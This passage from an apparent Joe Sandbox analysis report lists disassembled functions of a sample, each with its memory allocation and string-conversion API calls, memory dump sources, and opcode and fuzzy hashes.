                                                                                              • Part of subcall function 004099F4: malloc.MSVCRT ref: 00409A10
                                                                                              • Part of subcall function 004099F4: memcpy.MSVCRT(00000000,00000000,00000000,00000000,?,0040A9F2,00000002,?,00000000,?,0040AD25,00000000,?,00000000), ref: 00409A28
                                                                                              • Part of subcall function 004099F4: free.MSVCRT ref: 00409A31
                                                                                            • free.MSVCRT ref: 0040B12C
                                                                                            • memcpy.MSVCRT(00000000,?,00000000,00000000,0040B35A,?), ref: 0040B159
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: free$memcpy$mallocstrlen
                                                                                            • String ID:
                                                                                            • API String ID: 3669619086-0
                                                                                            • Opcode ID: 04e6466bee9c2f86a7d5fc6531cc0ab8b23c91005f7f75429686add4e9716e46
                                                                                            • Instruction ID: 61abf4b4d63bdfee40e3433ef4540d9b033b11d4199be086b3082c0bee804e2f
                                                                                            • Opcode Fuzzy Hash: 04e6466bee9c2f86a7d5fc6531cc0ab8b23c91005f7f75429686add4e9716e46
                                                                                            • Instruction Fuzzy Hash: CA113A712042019FD711DB98FC499267B66EB8733AB25833BF4045A2A3CBB99834865F
                                                                                            Function 004173E4 Relevance: 5.0, APIs: 4, Instructions: 41COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00418178,000000FF,00000000,00000000,00417D63,?,?,00417D63,00418178,00000000,?,004183E5,?,00000000), ref: 004173FF
                                                                                            • malloc.MSVCRT ref: 00417407
                                                                                            • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00418178,000000FF,00000000,00000000,?,00417D63,00418178,00000000,?,004183E5,?,00000000,00000000,?), ref: 0041741E
                                                                                            • free.MSVCRT ref: 00417425
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: ByteCharMultiWide$freemalloc
                                                                                            • String ID:
                                                                                            • API String ID: 2605342592-0
                                                                                            • Opcode ID: c62e76641e050cafa551b594d013d2ba0ec055e9779dbb9c6b02089c0e2d57f7
                                                                                            • Instruction ID: cad4d062c051d68cf548c6c9b5623cfc012c7edadb1d539185634ca375d1558c
                                                                                            • Opcode Fuzzy Hash: c62e76641e050cafa551b594d013d2ba0ec055e9779dbb9c6b02089c0e2d57f7
                                                                                            • Instruction Fuzzy Hash: E7F0377620921E7BDA1029655C40D77779CEB8B675B11072BBA10D21C1ED59D81005B5